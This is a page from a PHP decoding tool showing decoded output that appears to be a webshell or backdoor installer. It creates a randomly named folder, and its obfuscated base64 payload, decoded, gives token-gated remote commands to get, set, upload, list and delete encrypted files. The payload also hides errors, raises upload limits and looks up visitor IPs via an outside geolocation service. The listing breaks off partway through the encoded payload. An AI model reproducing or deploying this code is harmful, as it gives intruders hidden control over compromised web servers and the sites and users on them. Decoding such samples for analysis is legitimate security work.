Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function cfile_put_contents644($path, $content){ file_put_contents($path, $con..
Decoded Output download
<?php
function cfile_put_contents644($path, $content){
file_put_contents($path, $content);
chmod($path, 0644);
}
$firstArray = array("dokatka", "dildo", "vrot", "minet", "danik", "dildarik", "kabel");
$secondArray = array("ebalan", "tupoi", "ebal", "eblan", "debil", "idiot", "kuchunga");
$randomWord1 = $firstArray[array_rand($firstArray)];
$randomWord2 = $secondArray[array_rand($secondArray)];
$combinedWord = $randomWord1 . $randomWord2;
$hash = substr(md5(uniqid()), 0, 4);
$resultnfolder = $combinedWord . $hash;
$src = "ZnVuY3Rpb24gXzQ3OTA5NzgzMigkaSl7JGE9QXJyYXkoIkFFUy0xOTItT0ZCIiwiU0VSVkVSX05BTUUiLCJBRVMtMTkyLU9GQiIsIlNFUlZFUl9OQU1FIiwnRXVyb3BlL0xvbmRvbicsJ2Rpc3BsYXlfZXJyb3JzJywnbG9nX2Vycm9ycycsJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCcxNTAwMDBNJywncG9zdF9tYXhfc2l6ZScsJzE1MDAwME0nLCdtYXhfaW5wdXRfdGltZScsJ21heF9leGVjdXRpb25fdGltZScsIlJFUExBQ0VNRFBBU1MiLCJEQ093bmVkIiwiUkVQTEFDRUZPTERFUk5BTUUiLCJjNWRkYzcxMTViY2YzZjcxZGEyNzg1MjA2NGZiNjRhZWM3YzhiNjNmIiwiLSIsIlNFUlZFUl9OQU1FIiwiZ2V0dG9rZW4iLCJTRVJWRVJfTkFNRSIsImdldHRva2VuIiwiU0VSVkVSX05BTUUiLCdIVFRQX0NMSUVOVF9JUCcsJ0hUVFBfQ0xJRU5UX0lQJywnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCdIVFRQX1hfRk9SV0FSREVEX0ZPUicsJ1JFTU9URV9BRERSJywiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidGtuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJTRVJWRVJfTkFNRSIsInN0YXR1cyIsIlNFUlZFUl9OQU1FIiwiT0siLCJTRVJWRVJfTkFNRSIsIndvcmtkaXIiLCJTRVJWRVJfTkFNRSIsImlwaW5mbyIsImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInBhc3N3b3JkIiwiU0VSVkVSX05BTUUiLCJwYXNzd29yZCIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJPSyIsIlNFUlZFUl9OQU1FIiwid29ya2RpciIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInRva2VuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwidG9rZW5fdWlkIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiU0VSVkVSX05BTUUiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsIm5hbWUiLCIuIiwiIiwiU0VSVkVSX05BTUUiLCJleHRlbnNpb24iLCJTRVJWRVJfTkFNRSIsImRhdGEiLCJTRVJWRVJfTkFNRSIsInRva2VuX3VpZCIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJkb3dubG9hZHNhZmVmaWxlX25hbWUiLCJTRVJWRVJfTkFNRSIsImRvd25sb2Fkc2FmZWZpbGVfbmFtZSIsJ2V4dGVuc2lvbicsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwnZXh0ZW5zaW9uJywidG1wX25hbWUiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIlNFUlZFUl9OQU1FIiwidXBsb2FkZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRmaWxlX25hbWUiLCdleHRlbnNpb24nLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwidG1wX25hbWUiLCIvIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJkYXRhIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIi8iLCJTRVJWRVJfTkFNRSIsImdldGFsbGJ5ZXh0IiwiU0VSVkVSX05BTUUiLCJnZXRhbGxieWV4dCIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRpdGlvbmFsZGF0YSIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvKiIsIlNFUlZFUl9OQU1FIiwibmFtZSIsIlNFUlZFUl9OQU1FIiwiZGF0YSIsIlNFUlZFUl9OQU1FIiwibGFzdG1vZGlmaWNhdGlvbnRpbWUiLCJkLm0tSDppIiwiU0VSVkVSX05BTUUiLCJub3d0aW1lIiwiZC5tLUg6aSIsIlNFUlZFUl9OQU1FIiwiYWRkaXRpb25hbGRhdGEiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsImRlbGFsbGJ5bmFtZSIsIlNFUlZFUl9OQU1FIiwiZGVsYWxsYnluYW1lIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLyIsIioiKTtyZXR1cm4gJGFbJGldO30gPz48P3BocCBmdW5jdGlvbiBsXygkXywkX18pe3JldHVybiBvcGVuc3NsX2VuY3J5cHQoJF8sXzQ3OTA5NzgzMigwKSwkX18sJF9fXz1yb3VuZCgwKSwkX1NFUlZFUltfNDc5MDk3ODMyKDEpXSk7fWZ1bmN0aW9uIGxfXygkXywkX19fXyl7cmV0dXJuIG9wZW5zc2xfZGVjcnlwdCgkXyxfNDc5MDk3ODMyKDIpLCRfX19fLCRfX189cm91bmQoMCksJF9TRVJWRVJbXzQ3OTA5NzgzMigzKV0pO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KF80NzkwOTc4MzIoNCkpO2Vycm9yX3JlcG9ydGluZyhyb3VuZCgwKSk7aW5pX3NldChfNDc5MDk3ODMyKDUpLHJvdW5kKDApKTtpbmlfc2V0KF80NzkwOTc4MzIoNikscm91bmQoMCkpO2luaV9zZXQoXzQ3OTA5NzgzMig3KSxfNDc5MDk3ODMyKDgpKTtpbmlfc2V0KF80NzkwOTc4MzIoOSksXzQ3OTA5NzgzMigxMCkpO2luaV9zZXQoXzQ3OTA5NzgzMigxMSkscm91bmQoMCszMDApKTtpbmlfc2V0KF80NzkwOTc4MzIoMTIpLHJvdW5kKDArNzUrNzUrNzUrNzUpKTskX19fX189c2hhMShfNDc5MDk3ODMyKDEzKSk7JF9fX19fXz1fNDc5MDk3ODMyKDE0KTskX19fX19fXz1fNDc5MDk3ODMyKDE1KTskX19fX19fX189XzQ3OTA5NzgzMigxNik7JF9fX19fX19fXz1fNDc5MDk3ODMyKDE3KTtpZihpc3NldCgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxOCldIC5fNDc5MDk3ODMyKDE5KSldKSl7aWYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjApXSAuXzQ3OTA5NzgzMigyMSkpXT09IG1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyKV0pKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMjAwMCsyMDAwKzIwMDArMjAwMCsyMDAwKSxyb3VuZCgwKzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCkpO3doaWxlKHRydWUpe2lmKCgkX19fX19fX19fXyVyb3VuZCgwKzIpKT09IHJvdW5kKDApKWJyZWFrOyRfX19fX19fX19fPXJhbmQocm91bmQoMCsyMDAwKzIwMDArMjAwMCsyMDAwKzIwMDApLHJvdW5kKDArMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUpKTt9aWYoIWVtcHR5KCRfU0VSVkVSW180NzkwOTc4MzIoMjMpXSkpeyRfX19fX19fX19fXz0kX1NFUlZFUltfNDc5MDk3ODMyKDI0KV07fWVsc2VpZighZW1wdHkoJF9TRVJWRVJbXzQ3OTA5NzgzMigyNSldKSl7JF9fX19fX19fX19fPSRfU0VSVkVSW180NzkwOTc4MzIoMjYpXTt9ZWxzZXskX19fX19fX19fX189JF9TRVJWRVJbXzQ3OTA5NzgzMigyNyldO30kX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDI4KV0gLl80NzkwOTc4MzIoMjkpKV09JF9fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSAuc2hhMSgkX1NFUlZFUltfNDc5MDk3ODMyKDMwKV0gLl80NzkwOTc4MzIoMzEpIC5iYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzMildIC5fNDc5MDk3ODMyKDMzKSldKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMzQpXSAuXzQ3OTA5NzgzMigzNSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzNildIC5fNDc5MDk3ODMyKDM3KSk7JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzOCldIC5fNDc5MDk3ODMyKDM5KSldPXN0cnJldihiYXNlNjRfZW5jb2RlKHN0cnJldigkX19fX19fXykpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQwKV0gLl80NzkwOTc4MzIoNDEpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KGZpbGVfZ2V0X2NvbnRlbnRzKF80NzkwOTc4MzIoNDIpIC4kX19fX19fX19fX18pKSkpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNDMpXSAuXzQ3OTA5NzgzMig0NCkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0NSldIC5fNDc5MDk3ODMyKDQ2KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCsxKSxyb3VuZCgwKzMrMyszKzMrMykpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQ3KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0OCldIC5fNDc5MDk3ODMyKDQ5KSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9ZWxzZWlmKGlzc2V0KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDUwKV0gLl80NzkwOTc4MzIoNTEpKV0pKXtpZigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1MildIC5fNDc5MDk3ODMyKDUzKSldPT0gJF9fX19fKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMzMzMy4zMzMzMzMzMzMzKzMzMzMuMzMzMzMzMzMzMyszMzMzLjMzMzMzMzMzMzMpLHJvdW5kKDArMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KSk7d2hpbGUodHJ1ZSl7aWYoKCRfX19fX19fX19fJXJvdW5kKDArMC42NjY2NjY2NjY2NjY2NyswLjY2NjY2NjY2NjY2NjY3KzAuNjY2NjY2NjY2NjY2NjcpKT09IHJvdW5kKDArMC4yKzAuMiswLjIrMC4yKzAuMikpYnJlYWs7JF9fX19fX19fX189cmFuZChyb3VuZCgwKzI1MDArMjUwMCsyNTAwKzI1MDApLHJvdW5kKDArOTk5OTkpKTt9JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1NCldIC5fNDc5MDk3ODMyKDU1KSldPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU2KV0gLl80NzkwOTc4MzIoNTcpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU4KV0gLl80NzkwOTc4MzIoNTkpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KCRfX19fX19fKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjApXSAuXzQ3OTA5NzgzMig2MSkpXT0kX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pIC5zaGExKCRfU0VSVkVSW180NzkwOTc4MzIoNjIpXSAuXzQ3OTA5NzgzMig2MykpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjQpXSAuXzQ3OTA5NzgzMig2NSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2NildIC5fNDc5MDk3ODMyKDY3KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCswLjMzMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMykscm91bmQoMCs1KzUrNSkpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDY4KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2OSldIC5fNDc5MDk3ODMyKDcwKSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9JF9fX19fX19fX19fX19fX189ZmFsc2U7aWYoaXNzZXQoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzEpXSAuXzQ3OTA5NzgzMig3MikpXSkpe2lmKChpbnR2YWwoc3Vic3RyKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDczKV0gLl80NzkwOTc4MzIoNzQpKV0pKSxyb3VuZCgwKSxyb3VuZCgwKzUpKSklcm91bmQoMCsxKzEpKT09IHJvdW5kKDArMC41KzAuNSkpeyRfX19fX19fX19fX19fX19fPXRydWU7fWVsc2VpZihzdWJzdHIoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzUpXSAuXzQ3OTA5NzgzMig3NikpXSkpLHJvdW5kKDArMSsxKzErMSsxKSk9PSBjcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykgLnNoYTEoJF9TRVJWRVJbXzQ3OTA5NzgzMig3NyldIC5fNDc5MDk3ODMyKDc4KSAuc2hhMShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig3OSldIC5fNDc5MDk3ODMyKDgwKSldKSkpKSl7JF9fX19fX19fX19fX19fX189ZmFsc2U7fWVsc2V7cmV0dXJuO319ZWxzZXtyZXR1cm47fWlmKCFlbXB0eSgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MSldIC5fNDc5MDk3ODMyKDgyKSldKSl7JF9fX19fX19fX19fXz1hcnJheSgpOyRfX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MyldIC5fNDc5MDk3ODMyKDg0KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4NSldIC5fNDc5MDk3ODMyKDg2KSldOyRfX19fX19fX19fX19fX19fX19fXz1zdHJfcmVwbGFjZShfNDc5MDk3ODMyKDg3KSxfNDc5MDk3ODMyKDg4KSwkX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDg5KV0gLl80NzkwOTc4MzIoOTApKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig5MSldIC5fNDc5MDk3ODMyKDkyKSldKSkpe3JldHVybjt9fWlmKCRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk0KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk3KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEwMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMDEpKWNvbnRpbnVlOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAyKV0gLiRfX19fX19fX19fX19fX19fX19fKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAzKV0gLiRfX19fX19fX19fX19fX19fX19fXyldPWJhc2U2NF9lbmNvZGUobF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEwNCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO31pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTA1KV0gLl80NzkwOTc4MzIoMTA2KSldKSl7JF9fX19fX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDcpXSAuXzQ3OTA5NzgzMigxMDgpKV0pKSx0cnVlKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDkpXSAuXzQ3OTA5NzgzMigxMTApKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTExKSxfNDc5MDk3ODMyKDExMiksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTMpXSAuXzQ3OTA5NzgzMigxMTQpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTUpXSAuXzQ3OTA5NzgzMigxMTYpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTcpXSAuXzQ3OTA5NzgzMigxMTgpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzIwKzIwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTE5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTIyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTI1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjcpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEyOCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX1pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTI5KV0gLl80NzkwOTc4MzIoMTMwKSldKSl7JF9fX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDEzMSldIC5fNDc5MDk3ODMyKDEzMikpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDEzMyldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMjUrMC4yNSswLjI1KzAuMjUpXTt9aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM1KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzYpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM4KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzkpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE0MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTQxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNDIpKXJldHVybjtlY2hvKGxfXyhmaWxlX2dldF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNDMpIC4kX19fX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSkpKTt9aWYoIWVtcHR5KCRfUE9TVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxNDQpXSAuXzQ3OTA5NzgzMigxNDUpKV0pKXskX19fX19fX19fX19fX19fX19fX19fX189YmFzZTY0X2RlY29kZShzdHJyZXYoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE0NildIC5fNDc5MDk3ODMyKDE0NykpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDE0OCldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMyswLjMzMzMzMzMzMzMzMzMzKV07fSRfX19fX19fX19fX19fX19fX19fX19fPWZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTQ5KV0pO2lmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTUxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTIpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU0KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTgpKXJldHVybjtmaWxlX3B1dF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNTkpIC4kX19fX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX1